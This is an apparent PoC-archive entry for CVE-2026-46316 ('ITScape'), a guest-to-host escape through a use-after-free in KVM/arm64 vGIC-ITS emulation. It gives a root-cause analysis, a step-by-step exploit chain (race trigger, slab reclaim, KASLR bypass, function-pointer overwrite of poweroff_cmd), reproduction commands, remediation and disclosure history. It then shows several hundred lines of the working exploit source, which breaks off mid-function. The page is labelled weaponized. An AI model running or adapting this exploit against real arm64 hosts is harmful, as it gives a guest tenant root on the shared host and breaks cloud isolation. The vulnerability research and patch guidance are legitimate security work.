PoC Archive PoC Archive
CVE-2026-46316 category: binary CVSS 9.3 (CRITICAL)
Patched

ITScape — KVM/arm64 vGIC-ITS Guest-to-Host VM Escape (CVE-2026-46316)

Published: 2026-07-27 • Researcher: Hyunwoo Kim (@V4bel)

Target software Linux kernel, KVM/arm64 in-kernel vGIC-ITS (Interrupt Translation Service) emulation (arch/arm64/kvm/vgic/vgic-its.c)
Affected versions Commit 8201d1028caa (2024-04-25, introduction of the ITS translation cache) through commit 13031fb6b835 (2026-06-05, the fix). Confirmed against Linux v7.1-rc6 (the release immediately preceding the patch).
Status Weaponized
Severity Critical · CVSS 9.3
CVSS 9.3/10
Severity
Critical
CVE
CVE-2026-46316 (GHSA-qcxh-2cm7-9fcc)
Category
binary
Affected product
Linux kernel, KVM/arm64 in-kernel vGIC-ITS (Interrupt Translation Service) emulation (arch/arm64/kvm/vgic/vgic-its.c)
Affected versions
Commit 8201d1028caa (2024-04-25, introduction of the ITS translation cache) through commit 13031fb6b835 (2026-06-05, the fix). Confirmed against Linux v7.1-rc6 (the release immediately preceding the patch).
Disclosed
2026-07-27
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-07-27
Last Updated2026-07-27
Author / ResearcherHyunwoo Kim (@V4bel)
CVE / AdvisoryCVE-2026-46316 (GHSA-qcxh-2cm7-9fcc)
Categorybinary
SeverityCritical
CVSS Score9.3 (CVSSv3.1, CNA/kernel.org: AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) — the Red Hat ADP scoring rates it lower, 7.0 High (AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H); NVD had not published its own v4.0 assessment at verification time
StatusWeaponized
Tagslinux-kernel, kvm, arm64, vgic-its, guest-to-host-escape, vm-escape, double-free, use-after-free, kaslr-bypass, heap-grooming, virtualization
RelatedN/A (author’s prior work: “Dirty Frag” Linux LPE family; “Januscape” / CVE-2026-53359, an x86 KVM guest-to-host escape via Google kvmCTF)

Affected Target

FieldValue
Software / SystemLinux kernel, KVM/arm64 in-kernel vGIC-ITS (Interrupt Translation Service) emulation (arch/arm64/kvm/vgic/vgic-its.c)
Versions AffectedCommit 8201d1028caa (2024-04-25, introduction of the ITS translation cache) through commit 13031fb6b835 (2026-06-05, the fix). Confirmed against Linux v7.1-rc6 (the release immediately preceding the patch).
Language / PlatformC, Linux kernel, arm64, KVM (in-kernel emulation — independent of QEMU userspace)
Authentication RequiredYes — requires guest kernel (EL1) privilege inside an existing, otherwise unprivileged, guest VM
Network Access RequiredLocal only — no network access needed; entirely guest-VM-local MMIO/hypercall activity against the host’s KVM

Summary

ITScape (CVE-2026-46316) is a use-after-free in the KVM/arm64 in-kernel vGIC-ITS (Interrupt Translation Service) emulation that lets an unprivileged-but-rooted guest VM escape to the host and execute code as the host kernel (i.e., as root on the host), on any arm64 KVM host that exposes GICv3 ITS to guests. Because the bug lives in arch/arm64/kvm/vgic/vgic-its.c inside the host kernel itself — not in QEMU userspace — it is triggered purely by guest-side MMIO/ITS-command activity, is independent of the VMM’s emulation code, and grants host kernel privilege rather than the privilege of a userspace VMM process. To the best of public knowledge this is the first published guest-to-host escape exploit that directly targets in-kernel KVM/arm64, making it a serious threat to any multi-tenant arm64 public cloud or virtualization host that accepts untrusted guest workloads.

Vulnerability Details

Root Cause

KVM/arm64 caches the result of translating a guest’s (DeviceID, EventID) MSI pair into a vgic_irq object in a per-ITS translation cache backed by an xarray. vgic_its_invalidate_cache(), which drains that cache, is:

C source
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
static void vgic_its_invalidate_cache(struct vgic_its *its)
{
	struct kvm *kvm = its->dev->kvm;
	struct vgic_irq *irq;
	unsigned long idx;

	xa_for_each(&its->translation_cache, idx, irq) {
		xa_erase(&its->translation_cache, idx);
		vgic_put_irq(kvm, irq);
	}
}

Two problems compound here. First, this drain path is not serialized against the ITS command handlers (its_lock) or the GITS_CTLR write path (cmd_lock) — it only holds rcu_read_lock. Second, and decisively, vgic_put_irq() is called on irq, the xa_for_each iteration variable, instead of on the value actually returned by xa_erase(). xa_erase() is atomic — when two contexts race to erase the same index, only one gets the real object back and the other gets NULL — but this code drops a reference on the iteration variable unconditionally regardless of which context actually removed the entry. When two vCPUs concurrently drain the same VM-global ITS cache, vgic_put_irq() fires twice on the same vgic_irq, its refcount underflows, and the object (a kmalloc-cg-96 slab object) is freed early via kfree_rcu while still reachable — a textbook double-put-turned-use-after-free.

The drain is reached whenever a guest clears GICR_CTLR.EnableLPIs on its redistributor (vgic_mmio_write_v3r_ctlr()vgic_its_invalidate_all_caches()). Because the enable/disable transition is gated per-vCPU, the race requires two or more different vCPUs clearing their own EnableLPIs at the same moment so both enter the drain concurrently against the same VM-global cache. A precondition is that the cache must already be populated (entries are created when vgic_its_resolve_lpi() resolves an LPI via xa_store), so the guest first primes the cache with ITS commands (MAPD/MAPTI/INT) before racing the disable.

Attack Vector

Entirely guest-driven, requiring only guest kernel (EL1) privilege inside the target VM (no host-side or QEMU-side cooperation, no network access):

  1. Prime the translation cache — from the guest, issue ITS commands (MAPD, MAPTI, INT) across two ITS instances mapped to the same intids, so both ITS’s Interrupt Translation Table entries alias the same vgic_irq object once resolved. A large device/event-ID matrix (the PoC uses 128 devices × 1024 events ≈ 130,000 keys) deepens the xarray to widen the race window.
  2. Trigger the race — align 4 guest vCPUs on a barrier and have them clear GICR_CTLR.EnableLPIs simultaneously, driving multiple vCPUs into vgic_its_invalidate_all_caches() concurrently against the shared cache, producing the double-put and an early kfree_rcu free of the vgic_irq slab object (many guest exits are used to flush the per-CPU kfree_rcu sheaf without any host-side sleep).
  3. Guest-driven cross-cache reclaim — fault in a 64MB guest_memfd region (mapped MMAP | INIT_SHARED) so the guest directly authors the reclaimed kmalloc-cg-96 slab page byte-for-byte as a fully guest-controlled fake vgic_irq.
  4. Two-stage KASLR bypass — abuse the fake object’s ap_list/target_vcpu fields via vgic_queue_irq_unlock()’s native list-insertion path to first leak the real vCPU0 kernel address (via an ITS MOVI affinity update), then leak an image-relative pointer (the vCPU’s pmu.overflow_work.func, seeded during vCPU setup via KVM_ARM_VCPU_PMU_V3 init) to compute kimage_voffset.
  5. Arbitrary write via a function-pointer gadget — set the fake object’s ops pointer to a guest-controlled guest_memfd address holding a fake irq_ops struct whose queue_irq_unlock slot points at a store gadget (ed_deschedule+0xd4), giving a write(address, value) primitive used to overwrite poweroff_cmd (/sbin/poweroff/bin/touch /ITScape) and arp_tbl.gc_work.work.func (neigh_periodic_workorderly_poweroff).
  6. Delayed trigger for guest-to-host code exec — the triggering vCPU exits cleanly (do_exit) to heal a preempt-count leak left by the ops-path call, avoiding an RCU deadlock; roughly 15 seconds later the kernel’s own periodic neighbor-GC work fires the hijacked arp_tbl.gc_work.work.func, running orderly_poweroff()call_usermodehelper() — executing /bin/touch /ITScape as root in host kernel/UMH context, on the host filesystem.

Impact

Full guest-to-host virtual machine escape with host kernel-level code execution (not merely userspace-VMM-level), triggerable by an unprivileged-but-guest-rooted tenant with no host cooperation and no network access. On any arm64 KVM host that exposes GICv3 ITS to guests — the default configuration for most arm64 KVM/QEMU deployments — a malicious or compromised guest can fully compromise the hypervisor host, breaking the isolation guarantee that multi-tenant arm64 clouds depend on. Because the vulnerability lives in in-kernel KVM rather than QEMU, it is unaffected by QEMU-side hardening or sandboxing (seccomp, privilege separation, etc.) that mitigates conventional QEMU-escape CVEs.

Environment / Lab Setup

Output
Host:        arm64 KVM host, kernel between 8201d1028caa and 13031fb6b835 (e.g. Linux v7.1-rc6)
Emulation:   QEMU TCG emulating an arm64 CPU including EL2, so the arm64 host kernel under
             test runs as the KVM host inside the emulator (safe, disposable lab setup —
             triggering the bug itself has nothing to do with QEMU)
Guest:       1 guest VM "G", 4 vCPUs, 2 vGIC-ITS instances, 64MB guest_memfd region
Tools:       gcc / kernel build toolchain, the bundled `kconfig`, KVM selftest framework
             (poc.c is built as a KVM selftest binary)

Setup Steps

Shell script
1
2
3
./build.sh <linux>/tools/testing/selftests/kvm

./qemu.sh <kernel-image> <initramfs>

Proof of Concept

See poc.c, write-up.md (in assets/), build.sh, qemu.sh, and kconfig in this folder — mirrored unmodified from V4bel/ITScape (148 stars, 19 forks at verification time). Verified before ingestion: the full ~1000-line poc.c (a KVM-selftest-based exploit) and the 375-line write-up.md root-cause/exploit writeup were read directly and cross-corroborated against GHSA-qcxh-2cm7-9fcc, the oss-security disclosure post, and the AlmaLinux/Rocky kernel patch commit 13031fb6b835. No obfuscation, no unrelated network calls, no dropper/scam patterns — this is a genuine, technically deep exploit chain (double-put race → UAF → guest-driven cross-cache reclaim → two-stage KASLR bypass → function-pointer write-what-where → delayed usermode-helper trigger), not a template or a phantom PoC.

Step-by-Step Reproduction

  1. Build the PoC against a v7.1-rc6 kernel’s KVM selftest tree

    Shell script
    1
    
    ./build.sh <linux>/tools/testing/selftests/kvm
  2. Boot the vulnerable arm64 host kernel under QEMU TCG

    Shell script
    1
    
    ./qemu.sh <kernel-image> <initramfs>
  3. Run the PoC binary inside the emulated host (the PoC itself opens /dev/kvm on that host and creates the guest VM that performs the escape)

    Shell script
    1
    
    ./poc
  4. Verify the escape — a successful run creates /ITScape, owned by root, on the HOST filesystem (i.e., outside the guest VM the PoC created):

    Shell script
    1
    
    ls -la /ITScape

Exploit Code

Full exploit in poc.c (~1000 lines, built on the Linux kernel’s KVM selftest framework) — not reproduced/paraphrased here; see the file directly. High-level structure per the upstream write-up:

Output
QEMU TCG: emulates an arm64 CPU (including EL2) so an arm64 kernel runs as the KVM host
   └─ arm64 Host Kernel: the KVM host and the escape target
        └─ poc: opens the HOST's /dev/kvm and creates one guest VM "G" (uid=1000)
             └─ 1. G's guest code (run by poc via KVM_RUN) performs GIC/ITS MMIO
                2. traps into the HOST's in-kernel KVM -> double-put -> HOST kernel code-exec

Expected Output

Output
[*] ...
[+] /ITScape created by the host kernel (owner uid=0). verify:  ls -la /ITScape
-rw-r--r--    1 0        0                0 Jun  9 00:02 /ITScape

Screenshots / Evidence

  • assets/demo.gif — upstream animated demo of the exploit running end-to-end, culminating in /ITScape appearing on the host.
  • assets/write-up.md — full 375-line technical root-cause and exploit-chain writeup (mirrored unmodified from upstream).

Detection & Indicators of Compromise

Output

Remediation

ActionDetail
PatchApply commit 13031fb6b835 — changes vgic_put_irq() to drop its reference only on the value actually returned by xa_erase() for that context, rather than on the shared xa_for_each iteration variable, eliminating the double-put. Merged into the KVM tree and mainline Linux on 2026-06-05.
WorkaroundNone short of the patch — since the bug is purely guest-triggerable in-kernel KVM code with no QEMU dependency, no VMM-level sandboxing or seccomp policy mitigates it. If patching is not immediately possible, avoid running untrusted/multi-tenant guests on affected arm64 KVM hosts, or disable GICv3 ITS exposure to guests if your workloads do not require it.
VerificationConfirm the host kernel includes commit 13031fb6b835 (arch/arm64/kvm/vgic/vgic-its.c) via git log or distro changelog/erratum (e.g. AlmaLinux/Rocky kernel advisories referencing this commit).

References

Notes

Verified before ingestion per this archive’s standing verify-before-ingest policy: the full ~1000-line poc.c exploit source and the 375-line write-up.md technical writeup were read directly in their entirety (not skimmed or taken on the strength of the repo’s README claims alone), and the root cause, patch commit, and disclosure timeline were cross-corroborated against GHSA-qcxh-2cm7-9fcc, the oss-security disclosure post, and the AlmaLinux/Rocky kernel patch commit 13031fb6b835. No obfuscated code, unrelated network calls, or phantom-PoC/dropper patterns were present — the exploit chain (guest-triggered double-put race → UAF → guest-driven cross-cache reclaim via guest_memfd → two-stage KASLR bypass → function-pointer write-what-where via a queue_irq_unlock gadget → delayed usermode-helper trigger through the kernel’s own neighbor-GC workqueue) is internally consistent, technically deep, and matches independent third-party CVE writeups (Tenable, SentinelOne).

The author, Hyunwoo Kim (@V4bel), has a credible and consistent responsible-disclosure track record: this vulnerability was reported to security@kernel.org and the kvmarm mailing list on 2026-06-01, then submitted under a 5-day embargo to linux-distros@openwall.org on 2026-06-05 (per the upstream write-up’s disclosure timeline) before public posting to oss-security on 2026-06-10, following the fix landing in mainline. The same author previously published the “Dirty Frag” Linux kernel LPE family and, per this archive’s own tracking, “Januscape” (CVE-2026-53359), an x86 KVM guest-to-host escape demonstrated via Google’s kvmCTF program — both consistent with genuine, disclosed-responsibly kernel security research rather than opportunistic or malicious publishing.

CVSS scoring is split between sources: the CNA (kernel.org) rates it 9.3 Critical (AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H), while Red Hat’s ADP rates it lower at 7.0 High (AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H) — the difference chiefly reflects differing views on attack complexity (AC) and scope (S) for a guest-to-host escape. NVD had not published its own CVSS v4.0 assessment at verification time. The Severity field above follows the CNA’s Critical rating, consistent with the practical impact of a guest-to-host escape to host kernel privilege.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
// SPDX-License-Identifier: GPL-2.0
/*
 * ITScape: Guest-to-Host Escape in KVM/arm64 (CVE-2026-46316)
 *
 * vGIC-ITS vgic_its_invalidate_cache() double-put UAF -> host-kernel code execution.
 *
 * Target: Linux v7.1-rc6 (aarch64). The hardcoded kernel addresses/offsets are for that build
 * with the bundled kconfig; re-derive them for other versions.
 *
 * Copyright (c) 2026 Hyunwoo Kim @v4bel
 * Adapted from vgic_lpi_stress.c (Copyright (c) 2024 Google LLC).
 */
#include <linux/sizes.h>
#include <pthread.h>
#include <stdatomic.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <grp.h>
#include <signal.h>

#include "kvm_util.h"
#include "gic.h"
#include "gic_v3.h"
#include "gic_v3_its.h"
#include "processor.h"
#include "ucall.h"
#include "vgic.h"

#define WRITES_ONLY_TEST	1
#define LEAK_TEST		1
#define TEST_MEMSLOT_INDEX	1
#define GIC_LPI_OFFSET		8192
#define TOUCH_MEMSLOT_INDEX	2
#define TOUCH_GPA		0x200000000UL	/* 8GB GPA */
#define TOUCH_SIZE		(32UL * SZ_2M)	/* cross-cache reclaim region (guest_memfd) */
#define GITS1_BASE_GPA		0x8100000ULL	/* 2nd ITS frame (after GICR for <=7 vcpus); own cmd_lock */
#define GITS1_BASE_GVA		((volatile void *)GITS1_BASE_GPA)

#define QUIESCE_CYCLES		16	/* vCPU exits to settle delivery+prune -> refcount 2 */
#define GRACE_CYCLES		2500	/* vCPU exits so host RCU + kfree_rcu batch flush (no host sleep) */

#define RECLAIM_INTID_BASE	0x4000	/* fresh refill LPIs use intid 16384.. (old LPIs use 8192..) */
#define SPARSE_DEVID(d)		((u32)(d))	/* cache_key = (devid<<16)|eventid */
#define RECLAIM_EVENTS		16	/* bounded fresh events/device/cpu to drain the per-cpu slab cache */
static volatile int reclaim_hits;
static volatile int total_irqs;
static volatile u64 leaked_v0;		/* cpuid0 stashes the real vcpu0 kaddr here; cpuid1 reads it back */

static gpa_t gpa_base;
static struct kvm_vm *vm;
static struct kvm_vcpu **vcpus;
static int its_fd;

/*
 * Self-contained guest ITS command layer, base-switchable for the 2-ITS exploit (xits_set_base).
 * The in-tree kvm selftest gic_v3_its lib gained a mutable MMIO base + INT/MOVI helpers only after
 * 7.0, so carry them here to build against a stock 7.0.x selftest tree.
 * Adapted from tools/testing/selftests/kvm/lib/arm64/gic_v3_its.c (GPL-2.0, Copyright Google LLC).
 */
#ifndef GITS_COLLECTION_TARGET_SHIFT
#define GITS_COLLECTION_TARGET_SHIFT 16
#endif
static volatile void *x_its_base = GITS_BASE_GVA;
static void xits_set_base(volatile void *base) { x_its_base = base; }
static u64  xr64(unsigned long off)        { return readq_relaxed(x_its_base + off); }
static void xw64(unsigned long off, u64 v) { writeq_relaxed(v, x_its_base + off); }
static u32  xr32(unsigned long off)        { return readl_relaxed(x_its_base + off); }
static void xw32(unsigned long off, u32 v) { writel_relaxed(v, x_its_base + off); }

static unsigned long xits_find_baser(unsigned int type)
{
	int i;
	for (i = 0; i < GITS_BASER_NR_REGS; i++) {
		unsigned long off = GITS_BASER + (i * sizeof(u64));
		if (GITS_BASER_TYPE(xr64(off)) == type)
			return off;
	}
	GUEST_FAIL("Couldn't find an ITS BASER of type %u", type);
	return -1;
}

static void xits_install_table(unsigned int type, gpa_t base, size_t size)
{
	unsigned long off = xits_find_baser(type);
	u64 baser = ((size / SZ_64K) - 1) | GITS_BASER_PAGE_SIZE_64K |
		    GITS_BASER_InnerShareable | base | GITS_BASER_RaWaWb | GITS_BASER_VALID;
	xw64(off, baser);
}

static void xits_install_cmdq(gpa_t base, size_t size)
{
	u64 cbaser = ((size / SZ_4K) - 1) | GITS_CBASER_InnerShareable | base |
		     GITS_CBASER_RaWaWb | GITS_CBASER_VALID;
	xw64(GITS_CBASER, cbaser);
}

static void xits_init(gpa_t coll_tbl, size_t coll_tbl_sz, gpa_t device_tbl,
		      size_t device_tbl_sz, gpa_t cmdq, size_t cmdq_size)
{
	u32 ctlr;
	xits_install_table(GITS_BASER_TYPE_COLLECTION, coll_tbl, coll_tbl_sz);
	xits_install_table(GITS_BASER_TYPE_DEVICE, device_tbl, device_tbl_sz);
	xits_install_cmdq(cmdq, cmdq_size);
	ctlr = xr32(GITS_CTLR);
	ctlr |= GITS_CTLR_ENABLE;
	xw32(GITS_CTLR, ctlr);
}

struct xits_cmd { union { u64 raw[4]; __le64 raw_le[4]; }; };
static void xenc(u64 *raw, u64 val, int h, int l)
{
	u64 mask = GENMASK_ULL(h, l);
	*raw = (*raw & ~mask) | ((val << l) & mask);
}

static void xits_send(void *cmdq_base, struct xits_cmd *cmd)
{
	u64 cwriter = xr64(GITS_CWRITER);
	struct xits_cmd *dst = cmdq_base + cwriter;
	u64 cbaser = xr64(GITS_CBASER);
	size_t cmdq_size = ((cbaser & 0xFF) + 1) * SZ_4K;
	u64 next;
	cmd->raw_le[0] = cpu_to_le64(cmd->raw[0]);
	cmd->raw_le[1] = cpu_to_le64(cmd->raw[1]);
	cmd->raw_le[2] = cpu_to_le64(cmd->raw[2]);
	cmd->raw_le[3] = cpu_to_le64(cmd->raw[3]);
	WRITE_ONCE(*dst, *cmd);
	dsb(ishst);
	next = (cwriter + sizeof(*cmd)) % cmdq_size;
	xw64(GITS_CWRITER, next);
	while (xr64(GITS_CREADR) != next)
		cpu_relax();
}

static u64 x_rdbase(u32 vcpu_id) { return (u64)vcpu_id << GITS_COLLECTION_TARGET_SHIFT; }

static void xits_send_mapd_cmd(void *cmdq, u32 devid, gpa_t itt, size_t itt_size, bool valid)
{
	struct xits_cmd c = {};
	xenc(&c.raw[0], GITS_CMD_MAPD, 7, 0);   xenc(&c.raw[0], devid, 63, 32);
	xenc(&c.raw[1], ilog2(itt_size) - 1, 4, 0);
	xenc(&c.raw[2], itt >> 8, 51, 8);       xenc(&c.raw[2], !!valid, 63, 63);
	xits_send(cmdq, &c);
}

static void xits_send_mapc_cmd(void *cmdq, u32 vcpu_id, u32 col, bool valid)
{
	struct xits_cmd c = {};
	xenc(&c.raw[0], GITS_CMD_MAPC, 7, 0);   xenc(&c.raw[2], col, 15, 0);
	xenc(&c.raw[2], x_rdbase(vcpu_id) >> 16, 51, 16);  xenc(&c.raw[2], !!valid, 63, 63);
	xits_send(cmdq, &c);
}

static void xits_send_mapti_cmd(void *cmdq, u32 devid, u32 eid, u32 col, u32 intid)
{
	struct xits_cmd c = {};
	xenc(&c.raw[0], GITS_CMD_MAPTI, 7, 0);  xenc(&c.raw[0], devid, 63, 32);
	xenc(&c.raw[1], eid, 31, 0);            xenc(&c.raw[1], intid, 63, 32);
	xenc(&c.raw[2], col, 15, 0);
	xits_send(cmdq, &c);
}

static void xits_send_movi_cmd(void *cmdq, u32 devid, u32 eid, u32 col)
{
	struct xits_cmd c = {};
	xenc(&c.raw[0], GITS_CMD_MOVI, 7, 0);   xenc(&c.raw[0], devid, 63, 32);
	xenc(&c.raw[1], eid, 31, 0);            xenc(&c.raw[2], col, 15, 0);
	xits_send(cmdq, &c);
}

static void xits_send_invall_cmd(void *cmdq, u32 col)
{
	struct xits_cmd c = {};
	xenc(&c.raw[0], GITS_CMD_INVALL, 7, 0); xenc(&c.raw[2], col, 15, 0);
	xits_send(cmdq, &c);
}

static void xits_send_sync_cmd(void *cmdq, u32 vcpu_id)
{
	struct xits_cmd c = {};
	xenc(&c.raw[0], GITS_CMD_SYNC, 7, 0);   xenc(&c.raw[2], x_rdbase(vcpu_id) >> 16, 51, 16);
	xits_send(cmdq, &c);
}

static void xits_send_int_cmd(void *cmdq, u32 devid, u32 eid)
{
	struct xits_cmd c = {};
	xenc(&c.raw[0], GITS_CMD_INT, 7, 0);    xenc(&c.raw[0], devid, 63, 32);
	xenc(&c.raw[1], eid, 31, 0);
	xits_send(cmdq, &c);
}

static struct test_data {
	u32	nr_cpus;
	u32	nr_devices;
	u32	nr_event_ids;
	u32	gsync_drain;	/* -g: extra GUEST_SYNC exits per WWW sweep (default 0) */
	gpa_t	device_table;
	gpa_t	collection_table;
	gpa_t	cmdq_base;
	void	*cmdq_base_va;
	gpa_t	itt_tables;
	gpa_t	lpi_prop_table;
	gpa_t	lpi_pend_tables;
	gpa_t	touch_base;
	/* ITS#1: own cmd_lock; cpuid1 runs the code-exec via it after cpuid0's leak crashes ITS#0 */
	gpa_t	device_table2;
	gpa_t	collection_table2;
	gpa_t	cmdq2_base;
	void	*cmdq2_base_va;
	gpa_t	itt_tables2;
} test_data = {
	.nr_cpus	= 4,	/* drainers for the double-put race (C(4,2)=6 pairs) */
	.nr_devices	= 128,
	.nr_event_ids	= 1024,	/* 128*1024 cache keys -> deep xarray -> wider native race window (-e overrides) */
	.touch_base	= TOUCH_GPA,
};

static void guest_irq_handler(struct ex_regs *regs)
{
	u32 intid = gic_get_and_ack_irq();

	if (intid == IAR_SPURIOUS)
		return;
	total_irqs++;
	/* a reclaim-range intid delivered while only OLD pairs were INT'd = old ITE now resolves to a
	 * fresh guest-mapped vgic_irq that reused a freed slot (guest-only reclaim detector) */
	if (intid >= RECLAIM_INTID_BASE)
		reclaim_hits++;
	gic_set_eoi(intid);
}

/* MAPTI fresh LPIs to refill freed cg-96 slots; called from both vCPUs to drain both per-cpu caches */
static void guest_map_reclaim_range(u32 ev_start, u32 intid_base)
{
	u32 d, e, k = 0, coll = 0;

	for (d = 0; d < test_data.nr_devices; d++) {
		for (e = 0; e < RECLAIM_EVENTS; e++) {
			xits_send_mapti_cmd(test_data.cmdq_base_va, SPARSE_DEVID(d), ev_start + e, coll,
					   intid_base + k++);
			coll = (coll + 1) % test_data.nr_cpus;
		}
	}
	for (d = 0; d < test_data.nr_cpus; d++)
		xits_send_sync_cmd(test_data.cmdq_base_va, d);
}

static inline volatile void *my_rdist(void)
{
	return GICR_BASE_GVA + guest_get_vcpuid() * SZ_64K * 2;
}

static void rdist_set_lpis(bool enable)
{
	volatile void *r = my_rdist();
	u32 ctlr = readl_relaxed(r + GICR_CTLR);

	if (enable)
		ctlr |= GICR_CTLR_ENABLE_LPIS;
	else
		ctlr &= ~GICR_CTLR_ENABLE_LPIS;
	writel_relaxed(ctlr, r + GICR_CTLR);
}

/* sense-reversing barrier across guest vCPUs (shared guest memory) */
static void guest_barrier(void)
{
	static atomic_int cnt;
	static atomic_int gen;
	int g = atomic_load(&gen);

	if (atomic_fetch_add(&cnt, 1) == (int)test_data.nr_cpus - 1) {
		atomic_store(&cnt, 0);
		atomic_fetch_add(&gen, 1);
	} else {
		while (atomic_load(&gen) == g)
			cpu_relax();
	}
}

static void guest_send_all_ints(void)
{
	u32 d, e;

	for (d = 0; d < test_data.nr_devices; d++)
		for (e = 0; e < test_data.nr_event_ids; e++)
			xits_send_int_cmd(test_data.cmdq_base_va, SPARSE_DEVID(d), e);
	for (d = 0; d < test_data.nr_cpus; d++)
		xits_send_sync_cmd(test_data.cmdq_base_va, d);
}

/* INT only the first ndev devices' LPIs (fewer dangling-irq gadget fires -> smaller preempt leak) */
static void guest_send_ndev_ints(u32 ndev)
{
	u32 d, e;

	if (ndev > test_data.nr_devices)
		ndev = test_data.nr_devices;
	for (d = 0; d < ndev; d++)
		for (e = 0; e < test_data.nr_event_ids; e++)
			xits_send_int_cmd(test_data.cmdq_base_va, SPARSE_DEVID(d), e);
	for (d = 0; d < test_data.nr_cpus; d++)
		xits_send_sync_cmd(test_data.cmdq_base_va, d);
}

static void guest_setup_its_mappings(void)
{
	u32 coll_id, device_id, event_id, intid = GIC_LPI_OFFSET;
	u32 nr_events = test_data.nr_event_ids;
	u32 nr_devices = test_data.nr_devices;
	u32 nr_cpus = test_data.nr_cpus;

	for (coll_id = 0; coll_id < nr_cpus; coll_id++)
		xits_send_mapc_cmd(test_data.cmdq_base_va, coll_id, coll_id, true);

	coll_id = 0;
	for (device_id = 0; device_id < nr_devices; device_id++) {
		gpa_t itt_base = test_data.itt_tables + (device_id * SZ_64K);

		xits_send_mapd_cmd(test_data.cmdq_base_va, SPARSE_DEVID(device_id), itt_base, SZ_64K, true);
		for (event_id = 0; event_id < nr_events; event_id++) {
			xits_send_mapti_cmd(test_data.cmdq_base_va, SPARSE_DEVID(device_id),
				   event_id, coll_id, intid++);
			coll_id = (coll_id + 1) % test_data.nr_cpus;
		}
	}
}

/* ITS#1: map devices 0,1 to the SAME intids as ITS#0 so their ITEs alias the same vgic_irqs.
 * After the double-put frees those irqs, ITS#1's ite->irq are also dangling -> cpuid1 fires the
 * gadget via ITS#1's cmdq (separate cmd_lock, not held by cpuid0's crash). */
static void guest_setup_its1(void)
{
	u32 device_id, event_id, intid = GIC_LPI_OFFSET;
	u32 nr_events = test_data.nr_event_ids;

	xits_set_base(GITS1_BASE_GVA);
	xits_init(test_data.collection_table2, SZ_64K,
		 test_data.device_table2, SZ_64K, test_data.cmdq2_base, SZ_64K);
	xits_send_mapc_cmd(test_data.cmdq2_base_va, 0, 0, true);
	for (device_id = 0; device_id < 2; device_id++) {
		xits_send_mapd_cmd(test_data.cmdq2_base_va, SPARSE_DEVID(device_id),
				  test_data.itt_tables2 + (device_id * SZ_64K), SZ_64K, true);
		for (event_id = 0; event_id < nr_events; event_id++)
			xits_send_mapti_cmd(test_data.cmdq2_base_va, SPARSE_DEVID(device_id),
					   event_id, 0, intid++);
	}
	xits_send_sync_cmd(test_data.cmdq2_base_va, 0);
	xits_set_base(GITS_BASE_GVA);
}

/* fire INTs via ITS#1 (devices 0,1) -> resolve dangling ite->irq -> ops gadget (cmd_lock#1 clean) */
static void guest_send_ndev_ints2(u32 ndev)
{
	u32 d, e;

	if (ndev > 2)
		ndev = 2;
	xits_set_base(GITS1_BASE_GVA);
	for (d = 0; d < ndev; d++)
		for (e = 0; e < test_data.nr_event_ids; e++)
			xits_send_int_cmd(test_data.cmdq2_base_va, SPARSE_DEVID(d), e);
	xits_send_sync_cmd(test_data.cmdq2_base_va, 0);
	xits_set_base(GITS_BASE_GVA);
}

#define LPI_PROP_DEFAULT_PRIO	0xa0
/* guest writes its own LPI property table, all LPIs DISABLED: the translation cache still
 * populates (gated by global EnableLPIs) so the double-put works, but no LPI is delivered. */
static void guest_configure_lpis(void)
{
	volatile u8 *tbl = (volatile u8 *)test_data.lpi_prop_table;
	size_t i;

	for (i = 0; i < SZ_64K; i++)
		tbl[i] = LPI_PROP_DEFAULT_PRIO | LPI_PROP_GROUP1;	/* DISABLED: cache-only */
}

static void guest_setup_gic(void)
{
	static atomic_int nr_cpus_ready = 0;
	u32 cpuid = guest_get_vcpuid();

	gic_init(GIC_V3, test_data.nr_cpus);
	gic_rdist_enable_lpis(test_data.lpi_prop_table, SZ_64K,
			      test_data.lpi_pend_tables + (cpuid * SZ_64K));

	atomic_fetch_add(&nr_cpus_ready, 1);
	if (cpuid > 0)
		return;

